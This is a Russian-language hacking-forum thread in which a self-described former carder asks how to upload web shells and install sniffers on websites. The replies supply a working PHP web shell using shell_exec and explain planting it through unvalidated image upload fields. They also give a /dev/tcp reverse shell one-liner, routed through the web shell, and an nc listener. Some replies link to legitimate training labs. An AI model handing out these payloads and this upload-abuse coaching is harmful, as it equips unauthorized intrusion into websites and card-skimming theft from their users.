С лета начал изучать тему пентеста, перекатываюсь сюда из каржа. Есть небольшие успехи в скулях, но очень хочется понять что такое web shell, как его заливать, как искать эту уязвимость, как вообще устанавливается сниффер? Как это работает? Может быть кто то сможет подсказать статьи по этой теме? Всем заранее спасибо
-
XSS.stack #1 – первый литературный журнал от юзеров форума
О том, что такое web shell
- Автор темы kosh_e4ka
- Дата начала
-
- Теги
- помощь новичку
обычно веб шелл это php скрипт который позволяет выполнять linux команды для сервера на котором он стоит
например:
<?php
echo shell_exec($_GET['command']);
?>
чтоб скрипт отработал ты в браузере пишешь example.com/myWebShellScript.php?command=ls (ls = команда linux чтоб получить список файлов в директории чисто для примера)
и скрипт выполнит команду и выведет список всех файлов в директории, вместо ls можно писать любую команду
задача кул хацкера залить такой веб шелл на сайт чтоб выполнять любые команды POST GET запросами
https://github.com/flozz/p0wny-shell - можешь прям у себя на компе запустить выглядит командная строка, только сайт
например:
<?php
echo shell_exec($_GET['command']);
?>
чтоб скрипт отработал ты в браузере пишешь example.com/myWebShellScript.php?command=ls (ls = команда linux чтоб получить список файлов в директории чисто для примера)
и скрипт выполнит команду и выведет список всех файлов в директории, вместо ls можно писать любую команду
задача кул хацкера залить такой веб шелл на сайт чтоб выполнять любые команды POST GET запросами
https://github.com/flozz/p0wny-shell - можешь прям у себя на компе запустить выглядит командная строка, только сайт
шелл он и в африке шелл
- Автор темы
- Добавить закладку
- #4
Спасибо большое, пролил свет. А как вообще понять что есть возможность загрузить шелл на сайт?
Смотри, шел как правило это файл с раширением php и тебе нужно его загрузить на сервер....
подумай при каких сценариях на таргете, он что-то сохраняет себе в файловую систему....аву можно прикрепить?(банально для примера), если аву прилепишь, он ведь будет хранить её у себя где то в файлах и показывать её.... вообще почитай или посмотри что-нибудь начальное, чтобы вообще понимать базу
Generally speaking:
Web shell is the code that you upload most often through the upload file functionality; it can be any programming language and any functionality (file, picture, etc.)
In addition to loading problems, there is a second problem - getting the server to execute this code and return the result to you. Most often it looks like accessing the file you accessed
To get started, I can recommend any labs, for example at portswigger, htb or thm
Web shell is the code that you upload most often through the upload file functionality; it can be any programming language and any functionality (file, picture, etc.)
In addition to loading problems, there is a second problem - getting the server to execute this code and return the result to you. Most often it looks like accessing the file you accessed
To get started, I can recommend any labs, for example at portswigger, htb or thm
один из банальных примеров, на сайте есть <input type="file"> куда юзер должен загрузить картинку, но вместо картинки юзер загружает .php файл(шелл), из-за того что кодеры не поставили валидацию на загружаемый файл то пхп шелл удачно попадает в директорию сайта например example.com/images/myshell.php откуда им и можно пользоваться, то есть должна была загрузиться картинка а грузиться наш "вредонос"
Полезно
- Автор темы
- Добавить закладку
- #10
я правильно понял, что для того чтобы иметь доступ к reverse shell, мне надо вот эту команду sh -i >& /dev/tcp/10.10.10.10/9001 0>&1 где вместо 10.10.10.10 будет ip машины с которой я подключаюсь, в виде файла .php залить на интересующий меня сайт?
You misunderstand the difference between web shell and reverse shell.
Web shell - something that you interact from the browser. For example you uploaded php shell via file upload and execute your command like /shell.php?cmd=whoami
Reverse shell - shell from the target connects to attacker machine. For example on your attacker machine you run: nc -lvnp 9001 <- basically you set up listener
And on target machine you execute reverse connection. For example how to get reverse shell from web shell: /shell.php?cmd=sh -i >& /dev/tcp/ip/port 0>&1
In this example payload should be url encoded of course
Where I can get more info about all hacking things from the scratch?
What to start lerning first? Also which IT languate if it needed ?
start from tryhackme. After you will finish some learning paths there you will learn more and will ask more specific questions
На вот тебе мат развлекайся >_<
pentesterlab.com
pentesterlab.com
https://pentesterlab.com/exercises/php_include_and_post_exploitation/course (Начни с этого)
pentesterlab.com
todo
pentesterlab.com
pentesterlab.com
PentesterLab: From SQL Injection to Shell
This course provides an in-depth exploration of SQL injection vulnerabilities in a PHP-based web application, demonstrating how attackers can exploit these vulnerabilities to access administration pages and ultimately gain code execution on the server. The course is divided into three main...
pentesterlab.com
PentesterLab: From SQL Injection to Shell II
In this lab, you will learn how to detect and exploit blind SQL injections in a web application. The course covers techniques for fingerprinting the application, identifying injection points, and extracting data manually and using automated tools. You will also learn how to leverage...
pentesterlab.com
PentesterLab: From SQL Injection to Shell: PostgreSQL edition
This course details the exploitation of SQL injection in a PHP-based website and how an attacker can use it to gain access to the administration pages. Using this access, the attacker can gain code execution on the server.
pentesterlab.com
todo
PentesterLab: Web for Pentester II
This is our set of challenges showcasing various methods to bypass authentication and exploit SQL vulnerabilities, authentication issues, CAPTCHA weaknesses, authorization flaws, mass-assignment attacks, randomness issues, and MongoDB injections. This comprehensive course is essential for...
pentesterlab.com
PentesterLab: Web for Pentester
This course equips learners with foundational knowledge of web penetration testing, focusing on common vulnerabilities and techniques for identifying and exploiting them. The course includes practical examples and exercises to reinforce learning, ensuring junior penetration testers, web hackers...
pentesterlab.com
Web Security Academy: Free Online Training from PortSwigger
The Web Security Academy is a free online training center for web application security, brought to you by PortSwigger. Create an account to get started.
portswigger.net
All labs | Web Security Academy
Mystery lab challenge Try solving a random lab with the title and description hidden. As you'll have no prior knowledge of the type of vulnerability that ...
portswigger.net